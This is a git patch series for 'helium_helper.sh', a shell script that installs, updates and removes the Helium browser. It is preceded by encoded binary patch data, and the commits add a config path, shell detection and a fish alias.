z$)|b~1xK1c-d)Ne|G2ZYK!TyVPg&nM^`YqkF2B>0?2S3TilHOE(I86dQ928Z{G~p4 zt2i;q(GG^{2-2Wgy!Ow2NDo~XOjl5(Z78eTcFMfBW8_^%w94}jm*0!~_+q<#Fk{YJ zbs*mJ^jyss77Q7CdiV2cMypG!1b0Cv=lfu!AeW{A%D(uvAb!eF68p?-%23oLvl;Af zI7***T96fxMarg_<{-oc2<<#e(eK_U9<*?0vLr?o!=vaRwhR)mF8k27-3|WciMBKT z<*R(H)7zQ$@|Orye6-&=*Vy^bspT>WlTWT>SXHnlByB8J`_2xSn3YYVlE&302qc4# zreDR*bWHJfDp5SCl?Z<>L7-PL{JH`&FpUq6S)p5 zIm5lrtb9eH+F|NED5-++y zP*k_8iiou)dK_t9;$ux=8j?pXisf2bjiyuW;Y&|Sf6vJ3ct*yursR#kJcmtO#<%(c z_Y0S_jYn0R5BIDcnd06d^wuHbn^=(AcCy55uFTnMi1hH7^@$=Cg^B2nkXqOnCJ2@k zMj`z6$1g}?V)gP~@Y%PBH$GWC7ZMn$Dt@E*kiFDbp0YBd`JmQTw2pV-WYc7?!>8xB zRxgC<9L-=Q6@~Ogp4{`tHBQJ#sXMzbd+^o83fNQk-8|qtMiDODUx`L)+B3?@wk-U( zJCThMdgRA(^1=|sWQi=PhNk(h!2yl2zKMQU>E+yFNhkH=Zrr1;6ulVE0mNsD)`mKZ z&4G1cdnTOlpEA%m(}8mdPs83f$Bt3B$CtD;R^dHcK-r^JF^K!TbcC}<_Op+f597)y z8j%*{f*Mh^exU{~r#ztZ?3=xOrbf_zY#y^~oT=TZ)mP35e@s4&Wd_mpEK-iB)H}D# z;VH&RnfK}YX!AuCyToQ{&T{#QpYRyzcH~@%exO#Fd#1D8YIskVGQ(|I>d)v!}3wY~}kq z>WYUIf+O-lrP|dWir8lfI!9r@!rD+7Du0kOnNw&^5ho*`ihp{qHz{+L`I-KLCqg-w z<>z;vZ`n13CJYVtu+en}W{;|!H~O65sTT~w6BA}?ks6gn5 z{S_yo=H$PVlVU(->>}Q$G5Kw^qoM|k?M$M$N0Tpd_m4Bx>DQZ0_6G6bKQ zxfiZ!JW|W!W)H#@NiU9jmO*mqtt6l4w?a|OsSRnB0w{>B()ujwXRQQ0JMQ6FUlxCc zS!OC~%q%?ReDzzi%$ndyKWf{nvdc4B?~{1Mm8{HVPkXJ8IWkviC+seP%eK~H)mxj< zm*qGUuxk~v)Jcj7Rl@A$DrLWUDe(u>v@e7YQRhQVDy$NqtkZX@v zre~>DOmx^CAETdydE=DwJ8-7$(P@FOwoxLY`nx(TeI1Cb0Y=WTh-ZnVExT7NV<>@W za&AXfTZ1@ETK2OuW1{v)s~q%NMGen6a=!S$siQhrG8Gx>r5IPfD;Rxe8f8KxlJ{u#o$47c zk&E{^Y9$>M%S;9$$%E<0hy#xO%s=z?j8U>-yCpWifnPa)rfSii;k-qe2a}Lqj}ti7 zB%s4A_Bh5Pt{^?c;*GQ*#%{ESj&+jUvRuKMOho7muCRjl%*V6M)~YXC zADo^)Gj62DCv~vdzz-p&;dpHC|MQ9`3Srz?V~*VHy_=>I4T@*OAqHfL&5?qPmo736 zM(XSKS|?Y$aY3Uu+V`KoiJm#;DI5BahZr;ttfjhXX>U%v;ho&aI*ZU`e3SVJMVW7E zY^#DOB08_Ts@{c48rJoNu1?AGf$H=@NY`=ooyUum*z50>bcY*@bq)G|l>`ko9Nmk| z3e5N9=R(b4+a+++6aU=ML?cX2D>syEd^}SmREo)8RCb&Mi#SMOw%l9@^V%8VyOS-u zz;fu4kQKr~CK4kP`FOOt8Mfu!j1@^sJ9-w$WJ{WXSO@x^mz7IiX`<2^y@&^A1Y(XF zv|B9Z-wG$bv1NVGLgCF<#vB=U*TuuLvzKCv#Y;BT@=vA+qK%+-tlxW&XXJz{^E}Dy z*;cHj^Y8JvP>iuI20UbnDq0G5VAEZA&b*%Ux>werf<8s+RsNpQPsb#K)9)++o04B@ zxvJg?lqly`4fJd)$bYyzx+s^Np~o$4*?KmXR z@i@*w*|d#cF_6$l!E^0M=I{Usj1l4<6W7qJC87Uzbm&QAHT=j z`Qzo(1NO;psvi~IyoU{3H2F`M3Xp=*6i*qLUd?GWJz=9z*`BnzJBcwTa>`6ZF7_}z zN(TO_m`A3^7ZV?N#Y`Zqr;l_0&0*>bqu@CI9ae;^AuK0f<8iO}5S}S``JWuigY)nM zZ&;t=5dUOH4wkf&WE?2=sxD#_9^p+OPASffu?khPu)xmeYb3Rq`ZchApJYMNmwSEW znZ{Y^n7P?$hQ>(dlxc0-EA_0N8WvCX>O%oG{k=wS!uV`dg6fx_?I8`g%d&h6Ehg* zpTtA&iN>4abuDv0NK&25JhQfQGI>sIgB&RQ(7tu4Fo=gNBE!GpX@Xf_1z{tDZR)RD zrjB!w59EP4*?UEMPrkZ%7VM)`XR*3-4@MY^3@{onyg;Gg(i}H$(#d8mWnT)lg?nU2 zIQ+qver`piP$4#wy-0HlUj8UNq`#6d)ssHuz1EqQA-#5T8yEQ(E_thq)%jA`d}ZF> z8Cf}cF0kemd+Ybdat!;#rUaK{&rY3~Ui9WiJ#eIUshiu5VhM{lH+>w3_4w^;V!Mg2 zlq~$NI}7QuC+}JMLRX9YxAJ$a>7=B13OW^++VyC^YdTlte@alyern$kLrpZ$n*sA1 zYZ*_cLZlu({rq_l<$Ky$`N7X^ZN%NX&f*e2TDXi(Vnlq^M-z8nzK-C7Xy^=y$Vuwt zI}l4mSo?oejD?iPo1LO^IIC<&XzAkG?@8>@N8Ul!67!a936fu@<^Fn#-=!NE#*I@G z?#=Qw076~0i%(a%!@RO7rj5(L+q{04iNaaX)0q7?{{W#E;^wr|{gW*RzU8*pU9?^v z_o4?y=o7DE!uoz?p9XCrQRd58;~?3F{)~J#kbL5_pHvlL%RYD|+RwY!O8_{@eM<8nUFKqg03WNH;Q{tviOikEikG)O+JugN5)7m)x0uhv^o^$b@$;BjF$9@7iQRi zc$W^U@#)>kPF9f+;j!`%j`O`y?U+q2y|BC8oiFkAQa5umgC~E4O*il)m~q)Wd1sn8 zPmFk^>h^Fnnp7AwMfCJN!N=fm$5V%XggpB#j?fQ?DRvIrBl1!f1(;`8Z&S>lV& z!ymF)@9SVZn%-($?pCVzBOiW6mK3K#-UE5D=1U{Az{s}E)ul%+^WnK|+q?-XtIU0B z)hNOGcSczU_7n4o^{Dje-_=A!%VZeSaW;jjlf)I0{5p4h@Wb1T-BjJ4v2|CJKQV0; zbvMZ%swzafqfXWQWC==w?;;gH`)rf z9FJGB?QtI*X;9qsV;v_Z{Zxx}Y=P}8`(`~`O^DvIDkSzr3~ zT_ffAHK|lc~pMNOjqFESCMyZRX z&+I&G{^DQLc>_UG$1)M`H8Gm*npEaXx>B~wPd)L=jkR2)-VDy(m=Pt22mYU`^^v~# zLC>Go{G7P-+Q)n|!$UW=bc!wfSnU8?WKgS!5KcuuCgO_%W~oywm23sFhWqQs=IySG z-kCU^O0@iUw`M+PEW%A0WRP*B856PD`aNJ-Yi6gkKvQIUQRa)PJ|G#=>4N$J)*}ns zAm-8zxhPo7&l}ypV$s>TrNkUnnE$L!kg66*8D3LsG2V2a5&OmKv9h)I#4!Q}YvsyVB7cdy+&=bWLYX4tbvKiUzn$m_dAQ@LZ~y|$yyR+1m?(>oK#;nHl{v%Xy9 z)KviU8-FaZ^t?b|Q>nDGN-Y2qai(c~z0Y0Z+Pj9C4ljog+-M1hvgu!*d0rhO#I}bB zLS@ZAQO$Q~1jS^!PRALKtD^+Zu4EYV39esTa?+`=Dhz+@+J|%mj!QR}dp+r$9p%a< z^V%)RHp`jwM*C7Mxbr<|)g-GE7^=UN1kL_tIEt%2I)DTr03le?yC9Sf#@mF=xaeks zq7S+25`=YTHk2>>R(Ti7J;Vixs+#ilNY*_O^aT54UxAQ&6{l6eLObV3oP*Jq2OCg<%ScF)=s;xk@V64RyW5$0fw z@vt_1`MrFY2xZ)%GXN5?YmnSRZ8lA4+=WqP%#c&Sd=inTVhBrJfcyoSYhEcH@4O(W zL@md+cyca(xcxx7`u3a9d?-=XJTh zNu9DKCHE1ROSy|v2p77`ZHV+tqvwqQ23WS_^AGT}@+*<5J7aFKbcW+I-^ahw49iLJ zY~~j!R%hu4vw-P~E&FqxeA#7%lUx?qYhg|8JBFR*0O_sV9UOrX%}U=|agG+5@|~w? z4sRdH>61BPq%*;qUR5OMTsi)c=WDbEgRiaBo3m~5%k;<^?(nLYumL^Y$*SK3!)UGc zi$;&Dz%1r($)Qg%7OYZdZdu&+5Yb)Xc2L(GbVc(eS{@AvsdmH;*(TAQhXGGXkz9`f z*dpIHxIh2C7=pv?$z_5oX|&*Ig9jCX+P*(KG@FA*tKZNkT?`t1q^0_l2pvro3hCsU ztD>CV`B1c-oUWN0Cg|_Odd`%%GJ-g{9;C2)KxBCnsDN#_V~{(JG%qBxiU~r!^f-j> zLW@13Uzzj#DU1ZD&UT#>-E&ClGeOCol%|91ilo47N5zW)=S$6QeoB>nMW*If@c9mvdtCxq14mE>$F001jU+g<_8dd&b=v8>S7E@)f$SzV@LQ@L`BBlx?`%d zdc53th6f2^7RF0f*)_;oZQxC<1FXAvo!GvJ>Ygwi3({R`82R!bWFd0aZ>wh)dz~qD z8j5>ip&P1jpqFbz3fv;cAXTe8t#g>ydc540n@QDBv`!N(wZyAyLl29x^g< z#HJ#sMdc*89l=aEA+#>`#gsrnz|dWwSe1+GM_bBaC$KZUdlH1@>eK4xJ1D^ea*6Q_ z2;DzqArMs*LU9K=Ky8m$SDnvQQX*3()_(z-A2>x&%~i2}Iz5_R+TAPU04t{#-7lw| zs}$5&m}H^&_-&0uTEjcwaqTEk@9Pok#~^4=CWEqx5rX?hul9@a*r5j$hAV4iX$7+D zsnWG-%7F4g_TyYN%94USLHSCS*PwdvtOHr5u5nejL{_XOl5>jgR=wGJ zAxY517kr15pywvb*%QCJ+W`JaNi{rx=;OX()E)DN9=JS+;HOE5XmqO%M-2~QprG&% z(|q!3q?c(sf3k)h;y2uk!|}Zu{8{1lnJbNig?+ zr^8q1qukO*>syBX9A<7YEgXL=ip>FEaRJj1#q;foV|}h^((BRA)VZ%da&{SEvF5GR zLbj(DCoC0c;-0OSn6lJ`5Z!V=#i97rD;#nKx;njxbS0Y&CWO)rJ}x#JzE}7Stc&0* zXWh~gqvEhNHn$qzQ}t}h_db!R(II+0eBal|g16UwH`aNdy@;8^U#mQkG%7$5yDi4^ zdkrIBA}K%EC#b_QI@EsLS0ZyakHw6TC|_;ya;65z^iEgXtHHY5?CrJZ-0wPg>%Uhm zh=G3asLnDUs3mOletHpMYhv2i6e=8AdGwfe1RHI0vzh)bO;yF z#&9qrZH5PGKTVqKGmEVD{cW$IUbfs4`2v_Z0x6bPoNP|%xjEKAx3OUe-ob3p#$#Rv z(oE7GD_8CJX={4&798{Lp9C(vKd_0JzBKO_)#yigl*>-Kk?fLHdpUTkWsvX;>=DCKW!IgP(Wg*%$lPp2s7er5__gOH&j%8c@M zB`bQA+AkhfnkJrtKR%SRXcGDuQua%OF($$;X|ck=HPfG%$M5wgz~@QdE2KEUUKx`` zplM3(+YEg#^k^;^6EwhdrJMbBML4Xeq%V9Wre9-EKotm`N7^?;tmkSKk?(m~weXaN zTP@VA{?Z#zvi9`2AX$m5HdUHZ<>o$oNrSHub#r{XAOO+nIAF7ZgX*d{BDpE`_W4Pq zCxj~bO%ds|F_(`tf>m{hG--g`=Sji6s0s<&=J_IPT58K4l7kIHT})@5kJZwgI_G8y zxweqb2O7d!UsafvewgfiaPN{fUzFM3gbm;qVciLi53spw^s<2q5#dFpSApl2rr#$| z`%spwy|W>1+`1kJF8XqY_=B-abt7zU8|Cs zq?V+^sSQ@5f*g+-6Ws3Gmm^l#F(P$k;DaLtllLtTrZuyNCadT|Wh{=oX2s~x5=N=r znsoyv`M0rOvP~sSc2TLyAFG6ajMW*U?)Pr?U*?3JDr(}>XynnADB;`A;E zvWLR(&TjaTT@L&q1U+Pe={(h=P3Ur2o@NO(9G1g(w?Lfm_ym&~S+`MY7-r+j;;VP> zr#vy4OGC|pL_485VxGgR_2HO!1v<_)Tx11)NoAeNa|FhmQX8*?AKNQd+CZvQx@=l> zMr;DX(@x<7xY~2d33{Vp71I?fm--EA8nn4(q#Zsa0ZUL)wduM3+T|B2tapy~q0pXA z&0S>fJR?>hYL=zHO)ds|4tDv>eJ9AiaP*&?UMrH>JSFqddRY>BI4BicKlp?P=i6y@ zG7h$z#3YJCwWa1=p*bL1C{2XOsb4X!M-3ktpK(yv5usA7#-?Jb{*tyCcFbmw%1o217j+By9Sw*&2|@AV z19glycPUolzIGz`PzdPMOls~UvGSuXXE2S!wG_F`7_Ckefi$eUR!l4Cr2T^F!OETX zI~7Sru$PwF_!`FtcN~NKA)Uve!oRJjnPRGyG?iS`fKBpBUvWR++e{-7qFA8GUctj1 z-GPH0a<6|5Wv5PZHWWK*3V0ub{lS8U|GWoXWi^y=z)~OwL zxl9--L;BU)cg|?{y{Cgcon941->AYb90EBQ7W$ZozeB#G!}wz}Oe1|qpKfG=&kv8j zp%U~1igWuOA$>COx;%&1ZjzG7;0Jlk_)0FbY3WK8nx+QRe-L3gn>bwdNm{%|L7mb26e<^g@s0A%>n7gpb!d7~u|Ij4$ttn-LRd#5h)58X5n2U5UFF zW%2V4bVQkRfu$Y+&|KeiPWR=5!yN?F?U!%^PcpEJaPUSQEZh3CVCPogxMySLj`-e_ zY^QoD`8_SD)!$!r8A9pE_Pu(rZqCEaFwwJ2yY=9D=%>`29;UBvuR~Sx*q1%5h??sr z%9ivyZ%=K4pwH8YDj&B*3P{>4e)aee(MIatOw`bn1^D8t%0q0Ir(e&c_^N`$in4V2 zp&r4;XWcqoTrxs!8^xgqaPFk;)}8eyJoqqasMH+{9IDbe=N;^#ahznCAr>JAa?ynC*TO&-=&j&2+>9+N<@3oQ3iwatr=NOIG;~@{(Gq-0eiFf#`RWxnoqU48x4ihC0cEuxj}uF#-?xlJp*M z74eL|m!5@URnhQWx{Jwv)&9bckL{l1eyXDwwY6-|52`f5QqBIt2qj-*O% z-|wHH-bZ=HENDYePtW-`uyE_;iji;2&AHueAbcg$#tv{$q1JPm4rHkb1s2?TT|wkV zzQ6*PT9v~JXG2PArbAo1^Mi0aJyB-thNjPKRmJi<+oN#Ce~jqlj%(apq&O;v%lDVF zMVVKg6#TNFB3=qS_e_cCe$#UW;#->-hZy8KU*3;gxV@Z;k0JJRna7#ZWF-U>0vv`f zS1Q)O?!m#`UW;AD z?<#ow4ZOuW=1M=utVnY2rJS?utpG$@yOqH)LTYg_IxiO2X5Nq#xoo?L1+xf!r2I8RN8Xs_B=UB zVe9N|VN+7xDBulZ-Q0#atoLdhV`>W!Bfh=Lp$Hq`CJm$fdJkm=)%hei@smz=qI(o9oIY}al~8h)TmV$Zfv+9C+A0ci4(a(dZ49Q>Y{zRVkL+abfc)94^2*_R z)e{ZXZ{-?wtTTBvVYzX=P{lK3xxRQ;+40O9xFQ0SbT}(Yvj-`^8q6R^L=5?N+ZUk8y>m zW2Hd(u)Q9n9YSp!N zX91?r##xaa4N``wQXuQ<)(3VJ9r0A}@l%0dTGFln6Qu{*Q8`63L1Hs#;Y)*o0X>g* z9{c9``D~7C0ICs=#FtHW(9Vh<);9R^%P~e#`8S&_Q>Xs^j!%OIz$KPVqo^eQo^v8@wmi`OG}=Ll-xgx0l%crkrHpJY*lHZm7& zJJdUz!ahO-NVlQulBxG|a0z~7pV!mTgT@|QL_xt0G^sXgRiu;E70FGJ<7mOECI>p7 zj&UD5=NVMQF%v(kGu;mu-Re@Y!h{G7z&*R?Mx!mN#dm?d9wtt>6!8n%VjM>MJV>2< z7&(pu9Pt8FG3E5h{*X}}#gxj(pCCXnx&qB4=3~?Bt!dSH8{KW-1Ce1o>hL*2d zUg5m%CA;IDy?BIEssiYD_DV9G2H^^$#>O=Tz0Z*CO@hYGF$C2aXxq#Vz$8B>QV;$R z^Vqtz#rlYy9glq_4zvel8eCIo^?PgRu@nJK@TRN4ui?jxk}YOztgK51Ab^y<&j9}#F{2Q@P>@7jaBO$74WP32toD*(gfq_ ze0_P42?xe_T!!!!f1{PpB>uYuxMvB}-$-w4@*&q7oZP~%S6%TD&16%t#45h-qE{Z0 zz(iaR+QNCkm#grdi)gT*901`ADVX(41oCl}U^`^`2@%9FB130m9ucnD6h|9dNOQ68 zc!+_1Q(ZPjqaj z0%yG>6rIj8mx^0>|B>|$<2 zl1*Gk)8KX4X?|gKZp6e5ol8*C-fP^b3~N7tSs6rbqE^9z&nV@wLHM}|L~k1h`JcB= zhc3#i`-vytqBKD+-YLdNO%GU5uWBgOOBY*ug*$RepL1LDnNOow?}L@^)s$BjiCtiv zmwnLYidK&!ax{X_wQywzk}kQ@oU7V(*H6ict5X@xeUkJJ=;NI34$AkYZ4u+C;7c)g zd{w{b``pj>ooTZ-;eKuOlq-@|e{VIgBw4Sxc9KYI@24eH6Te{Dwk&Q>*jZp7MM+K~ z+$07o*L)>YN8FNq?GukOGY5Fbtl{vMHQNTxj9?w`XH&dyFK+va?$AaZJtw;>*pCn% zA5x(Ah9FAK6baQU_NKq@TvRr4Fj<)QO78AWdyIB zecZV$^qkMJfo_eJp0-v$ThRZ>l`5}dNV^P1U-cI_I1G3&9Npc z;j@qB(h-Ju0PZ&d<9M@q2VHpY{4l+5`oOnD-3X@S6&NCXsb-}NWK)A{i9RRi`<6b^ z*B?PLZ_^)h_J(LagS3EmqI5T%VHcl%DGZhHj*7G)81HOX zU`4~j0)feQ{@UW|9sn;S*bbWZIyt+35as(J#|sgHo({(gIDR{@r>{K2_Je+4mb#o6 z*J5N#hY67NQ`2?vBRaH`{8>}Hm{8ahP^Cnp<;O4i5k%@X(d%}e6=~QvO+P=IM*j+O zNqc(YfcNEP({6^G-QKR>39fuw9NUr&0SD=yt+ zo{7`jK8bO=3=6S5CJI~oqxjTue&-UsrzwrsW+j&-~!ZKk-Ba?s038+!1(!SP`!|4kImM zt#$?W>mw25PSf;#w*%UMD(r;~t=Q**Y$qfT(8{^dxeMlFshgLmC3P5)Z+Js!6*O$J zELVG*MBbq6T%|V(y+48<;+OGU@_=_Ovd+gkmWzesJW6m`65T~+c$N=rcRPjmI;>n4 zq~rQA!b-xF9^*I#P9|ioVu`pyC*<6-iHbxwK2XF25wnRLExDUjrYr}4=uy7z zw0&BVMZ}nLWOu~mQZL<>CH(SC(KO4gW`snZX=(!(j15eBY8mo$EW?^r8idn}rvhiy zL&D1QSoPw2e0uoJ_nVD=acuae-J?GQQzlr~Fr{C!U5z6iAL9=uu147B@d*#31g($8 zbdE9l+_km#W)WxHTcygyvZ60MP$8Ex6onI?NJJwNbYJhxgHEnpAjc`~{N~?o^U%*AsSP#;c2muG>Jubgajk%k6h`D?+!s=+fSrT#xHgGi4oopU z^Nr9WpN73=3ycf&6N3sEtNG;N7dJE?_t^)IOlt`phi$xD-knigjBzn>fi`_S8e)<3&Z^k<%16 zMM&CgowC%x)B*Ey_otsjQkXw$;?a0{&4ZT>wyNc2EO0)9g+9q)E|nLf{7mcmX6);e z!wTu+x05DFmBZtof`24Dj#7rOl~DvEu-ETe(gU0&!u6HZhr&kd9P%_M`VI`DH_BZg zd5UYE4t@KaUZ$A#YUrs7zQ)owseX;FRv?_7N6j1q3aUNBBuEyPTN1as#AJx+>`C^6 zUKuO&ELcvsWWpBmb?H|-2xh#9%q$n8#kdA^@+h#m4NN+6rI}}tU21<# z!&o)G#E?hoqBP)(${l{l^Kdft;BZre*^Z7{2sgx+Botc*dNMeZoOUzkLD<-hg7#hx zbxoBT@x{y$9Ns2`&IyV|Ri}A*2LGvBiWge5TUkU?EzzQXBNm)`gs9${6uXbca9w1g z`Td5s*$AnO(^PbFM5~8nUM^I68fw_KT^Q_Rju|X$Ux4#k${3Me_ot|AXn7PZb0(|% zUWI`Z5U~}NjEX^}G^Zb`*N_c9L=KtJ#&jPtN<~KNJM49*p%{w`r&L?l4oe*KQ6>^o z<}&&r;cYg`AEw{>8{y%78AZ{orKVRYv(DFqP8fa z{>ByoV+D+G{rQ zqj*-{#hY~*fsjQ8j=$L^WJZZXwB`%$4i^8zquJ$*4#!ID zzFv&gA@YPnpN1i2Fb*Py*PMPl^#0V*#9{=>xCc4K2OmY~tBpCs6r9=KXrAxXjU5>b zN_KNk)k(#;nH()(X>++F>gX})ea4(WKlqSA#9vf6zKK5Y-`{K>*5 zF>6*9z_#{cxdkq?lrqU`EklpU`SUx%?2o|pwr6gP^sDRh@~;Z@Byp^b=3Rla3wlJE z(6t?}!m9`q4(`7}gpn#qKG7@Il=}!;8|W`Kth?~SubvD&&q?WYeau|_EmlxwOW}B% zq8PUjxW9a8CU6jIF*u6Yuh&FyYa%Jn3fhwFw`EX)Y0W=8XaH6q(Fg_pN-OpI6cY8RB{jRq>{e+jq^6!apC_8+Dii zdqPe)3$VZF(J=n7)rQSUPEC)I=pZGB_@U(`+Eq6Z%-7a)uyiB=gSX=0bBK=}*j_g6 zJ@*=Hs0me0*zR2d!e?`gtad;G^7rlqZR|*oYu6a!4<0Q@hp*|8rZdv zZnBU`e?!{T;oqabp=_0QL*f422(oq${DY5ns4xe4IqKjh^hMgRlP;ZdOV(}mh#eHO zd)sHBW`Wg?c?}@#(ZFFtN%f)IzIy6lHA&&H}%PmQ_QaWg)f_(q4YkS|IIiNygQ%eVH)g z3`F+Uu;Jv~5QdE3393HWSEjf;n>S~z zZ~gX&>DgE!e|j3CCaB3yuaJKSGP?#9>*pWvC(gXZCSK!L#BkZ`zL#2v`bl9Btk4wP zSsnrBJTdor<9LITI-_uTHnCJSL>{I#Ti>M#?{P3e z*JVK!9ff|RL$ZnCwi?ty|6&U(@qOhVJaxaBh!VNANq!nc=2xx|i+(hb)*(Sqx)cel)K z`#`BzkAN|-7}5~>AcMRc%)40xrzvhv;@cbtOv%9a%>s0h%pYC*CrVCaGhJP^Ud*z`liPz)q%xpUW77_ zDU}wn76?PNUH!OGHp;eU<*)*F!_m+Er1`lAjNFvHFGb8fRc}GPqxTbvV(0*qy(^!> zMep>Q??i6U6Jl3a2|TZe4Mra0TB`_)D3V!QSm{R(`$P4+W)SZNWFfa!xfY1txnB=; zru?VXaw>M~P$3!~_Dv3St#?P`T!ufQh~t%>1Z1nr;Z@x1ON0udZ$A z)q%Tx60tp(Eg3>VXU|Tj`|6g+*R(;p)Zz4HLFWB57ezL0^mQbs;};gp2m1IUJwG>U zdbAKM4+c?>Xjf5jJR+8A+dMNt%^^5s&eqd?pFOVrUNlE%r=`W;fnxcL;Pun$qA35- zyT*nflw58Dh$mj*z#>p%bT2dV5iuM(lFh|;6VF3$=68TL)`9>w#-c5V$b%O8CUC(j z64QQ`g$|L7Z%&PJEJss0+RF&_0xul_M-&@Q^u|-}$8911uO_oY@L|N+{p)foYk08r z+FXmNW2lYVH+A4}so$cvYmLjgucr-LY8q2w7Yigfw@K!!Ib%LDh+*^Y8BGo0aJg(T zNQwOh1r1ADW8B5UfV&zI3*7RUe0%$080{A@_G}6E6A4 zQEU__uTDFC%#Hpf7}R*jkbkIPjLv$$D-U-zGp5UaDDn$UW=ZrH&ySi1W2mHx((YNhcu=>8#-bU>a%EUCnyTU1Mxy^rU1>Yk%p3;TpaAT zd~I4PqraIuf~rxjI6B+>cYUg zD6O$RAC0aYUd9NP~Luf5g#bcLpWVeMg4x+R(s-5GYgKE@3sclPXiXw z=32G^T~;AJ@%r&n_G+y6dsamaf9sB4ZE_C#eYu!vUK(-BnX6oowWMn|zj#RE35NvD z14DKBsNzu{Br`+ll#*%ZbgQ@!TpyG)a_s)=I5W+l@s=wKhrz2rD#L|km^!@{wtGIA zP`R_BppGJHV&EExsVaLxC;O46`O4S>JFtqPC$Lv{#RK+@x*hcO0(!KI9@eSnN3GCOsqIC83kd`_95mn`L$M z1M9>fC_Pvs(Vn~43_mnjL(#0A7F{$k#mh6?@9P{HftG(z|7mZrtbZIuzbl?|=Hk0b zWS{)Wg^#@vqZuOLanhoCkUA#vL~~036)461$(jq_np?Q`ndEt74m_?R;%_`;4Fg23MZ|F{iWrj=o=xl( z%_45eJL`Z0_uw_bN+JMxvpe47a37Hs)c%*{*I>y=- zcyx@^^whLebZlgQ%{T2#TO(UL8#`?sAZiOsJAGtc{s--B{zM$~ZETG#E&h**=3C50-%R_R@Yk|3 zvwL6B`0e;+QX5*n8Fu*B$-mc$e1v=b(F=ylcz=>c{@& z0}!CY1Ka?!SHjANRkWKL%jAe Date: Wed, 31 Dec 2025 00:20:35 +0100 Subject: [PATCH 066/106] Helium config variable added --- devdoc.md | 3 ++- helium_helper.sh | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/devdoc.md b/devdoc.md index f7dfa83..3a33c1e 100644 --- a/devdoc.md +++ b/devdoc.md @@ -33,12 +33,13 @@ ## Add/To Do - Architecture detection - Set alias --> Partially - - shell recognition missing + - active shell recognition missing - Roll back from backup - Config check - Simplification (more for loops) & Clean Up - Update Readme - Make functional launcher optional +- Backup configuration ## Repo - Merge workflow diff --git a/helium_helper.sh b/helium_helper.sh index 44e41f4..807c1f0 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -26,6 +26,7 @@ ALIAS="update-helium" ## LOCATIONS TMP=/tmp/$APP_NAME INSTALL_PATH=$HOME/.apps/$APP_NAME +APP_CONFIG_PATH=$HOME/.config/net.imput.helium ASSET_PATH=$INSTALL_PATH/assets BACKUP_PATH=$ASSET_PATH/backup LOG_PATH=$ASSET_PATH/logs From 35ddd28a3b5910787086452efe8f9fedfd146e4e Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Fri, 2 Jan 2026 16:00:52 +0100 Subject: [PATCH 067/106] Removal process updated; Alias configuration for FISH added --- helium_helper.sh | 82 ++++++++++++++++++++++++++++++++++-------------- 1 file changed, 58 insertions(+), 24 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 807c1f0..948dead 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -20,7 +20,7 @@ APP_SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_launcher_update.sh" -SCRIPT_VERSION="0.5.7" +SCRIPT_VERSION="0.5.8" ALIAS="update-helium" ## LOCATIONS @@ -44,9 +44,9 @@ APP_SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/lates ### DEPENDENCIES cmd_query() { - local PACKAGE="$1" + #local PACKAGE=$1 - if ! command -v "$PACKAGE" >/dev/null 2>&1 ; then + if ! command -v $PACKAGE > /dev/null 2>&1 ; then echo " - $PACKAGE" >> $TMP/missingDeps fi @@ -69,6 +69,24 @@ dependency_check () { fi } +### SHELL CHECK +shell_query() { + #local SHELL_OPTION=$1 + + if [ "$(echo $SHELL | grep "$SHELL_OPTION")" ] ; then + ACTIVE_SHELL=$SHELL_OPTION + fi + +} + +shell_check() { + SHELLS=("bash" "fish" "ksh" "zsh") + + for SHELL_OPTION in "${SHELLS[@]}" ; do + shell_query "$SHELL_OPTION" + done +} + ### CHECK LOCAL INSTALL local_check() { if ! [ -d "$INSTALL_PATH" ] ; then @@ -176,15 +194,15 @@ add_launcher() { } ### ALIAS -add_alias() { ### WORKS BUT NEEDS WORK +add_alias() { if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then mkdir -p $SCRIPT_PATH wget -P $TMP $REMOTE_SCRIPT_URL -q chmod +x $TMP/$SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH fi - - if [ -f "$HOME/.zshrc" ] ; then + + if [ "$ACTIVE_SHELL" == "zsh" ] ; then if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.zshrc\n" exit @@ -192,7 +210,7 @@ add_alias() { ### WORKS BUT NEEDS WORK echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc\n" - elif [ -f "$HOME/.bashrc" ] ; then + elif [ "$ACTIVE_SHELL" == "bash" ] ; then if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.bashrc\n" exit @@ -200,8 +218,21 @@ add_alias() { ### WORKS BUT NEEDS WORK echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc\n" + elif [ "$ACTIVE_SHELL" == "fish" ] ; then + if [ "$(cat $HOME/.config/fish/fish.config | grep "source $ALIAS")" ] ; then + echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.config/fish/fish.config\n" + exit + fi + echo "### Helium Helper Alias FISH ###" > $HOME/.config/fish/$ALIAS.config + echo >> $HOME/.config/fish/$ALIAS.config + echo "function $ALIAS" >> $HOME/.config/fish/$ALIAS.config + echo " $SCRIPT_PATH/$SCRIPT_FILE_NAME" >> $HOME/.config/fish/$ALIAS.config + echo "end" >> $HOME/.config/fish/$ALIAS.config + echo "source $HOME/.config/fish/$ALIAS.config" >> $HOME/.config/fish/fish.config + echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.config/fish/fish.config\n" + else - echo -e "\n ${RED}No .shellrc file found!${CRS}\n" + echo -e "\n ${RED}No shell config file found!${CRS}\n" fi } @@ -296,24 +327,26 @@ remove_helium() { read -p " Remove $APP_NAME_LONG incl. backups and launcher? (Y/n) : " 